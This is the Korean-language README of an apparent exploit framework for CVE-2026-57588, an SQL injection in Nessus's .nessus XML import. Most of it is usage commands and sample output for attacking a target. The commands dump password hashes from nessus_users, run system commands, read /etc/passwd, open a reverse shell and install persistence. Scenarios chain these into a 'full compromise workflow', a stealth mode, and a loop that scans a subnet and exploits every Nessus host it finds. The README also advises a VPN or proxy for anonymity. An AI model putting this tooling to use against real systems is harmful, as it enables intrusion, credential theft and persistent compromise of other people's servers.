🛡️ CVE-2026-57588 - Nessus SQL 인젝션 익스플로잇 프레임워크
📋 목차
🔍 개요
CVE-2026-57588은 Tenable Nessus 버전 10.12.0 이하에서 발견된 치명적인 SQL 인젝션 취약점입니다. 이 취약점은 .nessus 스캔 결과 파일을 가져올 때 XML 파싱 메커니즘에 존재하며, 가져오기 권한이 있는 인증된 사용자가 백엔드 PostgreSQL 데이터베이스에 대해 임의의 SQL 쿼리를 실행할 수 있도록 합니다.
⚠️ 취약점 세부 정보
🔬 기술적 세부 사항
이 취약점은 가져오기 프로세스 중 XML 태그 값이 SQL 쿼리에 포함되기 전에 충분히 정화되지 않아 발생합니다. 악의적인 공격자는 다음과 같은 XML 태그에 특수 제작된 SQL 인젝션 페이로드가 포함된 .nessus 파일을 조작할 수 있습니다:
hostname
fqdn
os
system-type
mac-address
netbios-name
권한이 있는 사용자가 악성 파일을 가져오면 정화되지 않은 값이 PostgreSQL 백엔드에서 실행되어 다음이 가능해집니다:
- 데이터베이스 열거
- 데이터 유출
- 명령 실행
- 파일 시스템 접근
- 지속성 설치
✨ 기능
기능 목록 보기
🎯 페이로드 관리
- 13개 이상의 페이로드 유형을 목적별로 분류
- 템플릿 기반 페이로드 생성
- 사용자 정의 페이로드 생성 및 검증
- 매개변수 검증 및 구문 검사
- SQL 구문 확인
🚀 익스플로잇 기능
- 다단계 익스플로잇 및 병렬 실행
- 데이터베이스 핑거프린팅 및 열거
- 사용자 정의 테이블/열 선택을 통한 데이터 유출
- 대상 시스템에서 명령 실행
- 파일 시스템 접근 및 읽기
- 대화형 세션을 통한 리버스 셸
- 지속성 설치 메커니즘
- 시간 기반 블라인드 SQL 인젝션
- 부울 기반 블라인드 SQL 인젝션
- 오류 기반 SQL 인젝션
- 고급 익스플로잇을 위한 스택 쿼리
- 대역 외 DNS 유출
📊 리포팅 및 로깅
- 전문적인 스타일의 HTML 리포트
- 문서화를 위한 Markdown 리포트
- 자동화를 위한 JSON 리포트
- 빠른 검토를 위한 텍스트 리포트
- 여러 레벨의 로그 로테이션
- 상세한 실행 통계
- 무결성 검증을 위한 파일 해싱
🛠️ 고급 기능
- 설정 가능한 작업 수의 병렬 실행
- 은밀한 작업을 위한 프록시 지원
- SSL/TLS 인증서 처리
- XML 검증 및 스키마 확인
- 실시간 익스플로잇을 위한 대화형 모드
- 안정성을 위한 재시도 메커니즘
- 느린 연결을 위한 타임아웃 설정
📦 설치
🐍 사전 요구 사항
- Python 3.7 이상
- pip (Python 패키지 관리자)
- Git (선택 사항, 클론용)
🔧 빠른 설치
# 저장소 클론
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# 가상 환경 생성 및 활성화
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
# 의존성 설치
pip install -r requirements.txt
# 설치 확인
python3 exploit.py --version
🐳 Docker 설치
# Docker 이미지 빌드
docker build -t nessus-exploit .
# 도구 실행
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 패키지 설치
# 패키지로 설치
pip install -e .
# 이제 어디서든 실행 가능
nessus-exploit generate -u https://test.com -p enum
🚀 빠른 시작
기본 사용법
# 기본 열거 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p enum
# 고급 다단계 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# 데이터베이스에서 데이터 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
명령 도움말
# 일반 도움말 표시
python3 exploit.py --help
# generate 명령 도움말 표시
python3 exploit.py generate --help
# 사용 가능한 모든 페이로드 나열
python3 exploit.py list
💡 사용 예제
1. 기본 열거
python3 exploit.py generate -u https://test.com -p enum
예상 출력
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
2. 고급 다단계 익스플로잇
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. 데이터 유출
# 사용자 자격 증명 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 사용자 정의 열로 추출
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. 리버스 셸
# 리스너 시작 및 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. 명령 실행
# 기본 명령 실행
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# 복잡한 명령 실행
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. 파일 읽기
# 시스템 파일 읽기
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# 애플리케이션 로그 읽기
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. 시간 기반 블라인드 인젝션
# 5초 지연
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 무거운 테스트를 위한 30초 지연
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. 프록시 지원
# HTTP 프록시
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# 인증이 있는 HTTPS 프록시
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. 병렬 실행
# 8개의 병렬 작업으로 실행
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# 사용자 정의 타임아웃 및 재시도
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. 자세한 출력 및 조용한 모드
# 자세한 모드 (상세 출력)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# 조용한 모드 (최소 출력)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 페이로드 유형
카테고리: FINGERPRINTING
| 페이로드 | 설명 | 매개변수 |
|---|
fingerprint | 데이터베이스 핑거프린팅 | 없음 |
카테고리: UNION
| 페이로드 | 설명 | 매개변수 |
|---|
schema_dump | 데이터베이스 스키마 덤프 | 없음 |
data_exfil | 테이블 데이터 추출 | table, columns |
카테고리: TIMING
| 페이로드 | 설명 | 매개변수 |
|---|
time_based | 시간 기반 블라인드 인젝션 | delay |
boolean_blind | 부울 기반 블라인드 | condition, delay |
카테고리: FILE_ACCESS
| 페이로드 | 설명 | 매개변수 |
|---|
file_read | 시스템 파일 읽기 | path, offset, length |
카테고리: COMMAND_EXEC
| 페이로드 | 설명 | 매개변수 |
|---|
command_exec | 시스템 명령 실행 | command |
카테고리: REVERSE_SHELL
| 페이로드 | 설명 | 매개변수 |
|---|
reverse_shell | 리버스 셸 수립 | host, port |
카테고리: PERSISTENCE
| 페이로드 | 설명 | 매개변수 |
|---|
persistence | 지속성 설치 | 없음 |
카테고리: ERROR_BASED
| 페이로드 | 설명 | 매개변수 |
|---|
error_based | 오류 기반 인젝션 | query |
카테고리: STACKED
| 페이로드 | 설명 | 매개변수 |
|---|
stacked_queries | 스택 쿼리 | query |
카테고리: OUT_OF_BAND
| 페이로드 | 설명 | 매개변수 |
|---|
oob_dns | DNS 유출 | host, data |
🎯 고급 시나리오
시나리오 1: 완전한 침해 워크플로
# 1단계: 데이터베이스 열거
python3 exploit.py generate -u https://test.com -p enum -v
# 2단계: 민감한 데이터 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# 3단계: 지속성 설정
python3 exploit.py generate -u https://test.com -p persist
# 4단계: 리버스 셸 설정
python3 exploit.py generate -u https://test.com -p shell -lp 4444
시나리오 2: 은밀한 작업
# 프록시 및 조용한 모드 사용
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
시나리오 3: 자동화된 테스트 파이프라인
#!/bin/bash
# auto_exploit.sh - 자동화된 익스플로잇 스크립트
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# 모든 페이로드 실행
for payload in enum dump shell persist; do
echo "[*] Running payload: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# 종합 리포트 생성
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
시나리오 4: 엔터프라이즈 보안 평가
# 네트워크 전반 평가
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] Testing: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
시나리오 5: 증거 수집
# 종합적인 증거 수집
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
📊 리포팅
사용 가능한 리포트 형식
리포트 생성
# 모든 리포트 형식 생성
python3 exploit.py report -i results.json -o report
# HTML 리포트만 생성
python3 exploit.py report -i results.json -o report.html --format html
# Markdown 리포트 생성
python3 exploit.py report -i results.json -o report.md --format markdown
리포트 내용
- 대상 정보
- 세션 ID 및 페이로드 유형
- 실행 통계
- 생성된 파일 목록
- 무결성을 위한 파일 해시
- 오류 로그 (있는 경우)
- 면책 조항 및 경고
🔧 문제 해결
일반적인 문제 및 해결책
문제 1: 연결 오류
# 오류: 연결 거부됨
# 해결책: Nessus가 실행 중이고 포트에 접근 가능한지 확인
python3 exploit.py generate -u https://test.com:8834 -p enum
# 오류: SSL 인증서 확인 실패
# 해결책: SSL 확인 비활성화
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
문제 2: XML 검증 오류
# 오류: 잘못된 XML 구조
# 해결책: XML 검증 비활성화
python3 exploit.py generate -u https://test.com -p enum --no-validate
문제 3: 페이로드 오류
# 오류: 필수 매개변수 누락
# 해결책: 페이로드 요구 사항 확인
python3 exploit.py validate -p command_exec
# 그런 다음 필수 매개변수 제공
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
문제 4: 권한 거부됨
# 오류: 파일을 쓸 수 없음
# 해결책: 디렉터리 권한 확인
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
문제 5: 타임아웃 문제
# 오류: 작업 시간 초과
# 해결책: 타임아웃 증가
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# 또는 재시도 사용
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 보안 고려사항
⚠️ 중요한 경고
- 법적 준수: 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.
- 데이터 보호: 추출된 자격 증명 및 데이터는 매우 주의해서 처리하십시오.
- 격리된 환경: 항상 격리된 실험실 환경에서 테스트하십시오.
- 백업: 테스트 전에 항상 데이터베이스를 백업하십시오.
- 복원: 테스트 후 시스템을 원래 상태로 복원하십시오.
- 문서화: 규정 준수를 위해 모든 테스트 활동을 문서화하십시오.
✅ 모범 사례
- 전용 테스트 계정을 사용하십시오.
- 모든 행동에 대한 상세 로그를 유지하십시오.
- 타사 시스템을 테스트할 때는 익명성을 위해 VPN/프록시를 사용하십시오.
- 책임 있는 공개 지침을 따르십시오.
- 팀에 취약점에 대해 교육하십시오.
📝 라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
🤝 기여
기여를 환영합니다! Pull Request를 자유롭게 제출해 주십시오.
개발 설정
# 저장소 클론
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# 개발 의존성 설치
pip install -r requirements-dev.txt
# 테스트 실행
pytest
# 코드 포맷팅
black exploit.py
# 린팅 확인
flake8 exploit.py
📞 지원
문서
연락처
📄 변경 로그
버전 1.0.0 (2026-07-22)
최초 릴리스
- ✅ 포괄적인 익스플로잇 프레임워크
- ✅ 목적별로 분류된 13개의 페이로드 유형
- ✅ 병렬 실행이 가능한 다단계 익스플로잇
- ✅ XML 검증 및 스키마 확인
- ✅ 여러 리포트 형식 (HTML, Markdown, JSON, 텍스트)
- ✅ 자동 파일 해싱 및 무결성 검증
- ✅ 로테이션이 포함된 전문 로깅
- ✅ 은밀한 작업을 위한 프록시 지원
- ✅ 대화형 세션이 가능한 리버스 셸
- ✅ 지속성 메커니즘
- ✅ 명령 실행 및 파일 읽기
- ✅ 시간 기반 및 부울 기반 블라인드 인젝션
- ✅ 오류 기반 및 스택 쿼리 인젝션
- ✅ 대역 외 DNS 유출
- ✅ Docker 지원
- ✅ 크로스 플랫폼 호환성
⬆ 맨 위로 가기
⚠️ 면책 조항: 이 도구는 교육 및 승인된 보안 테스트 전용입니다. 무단 사용은 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다.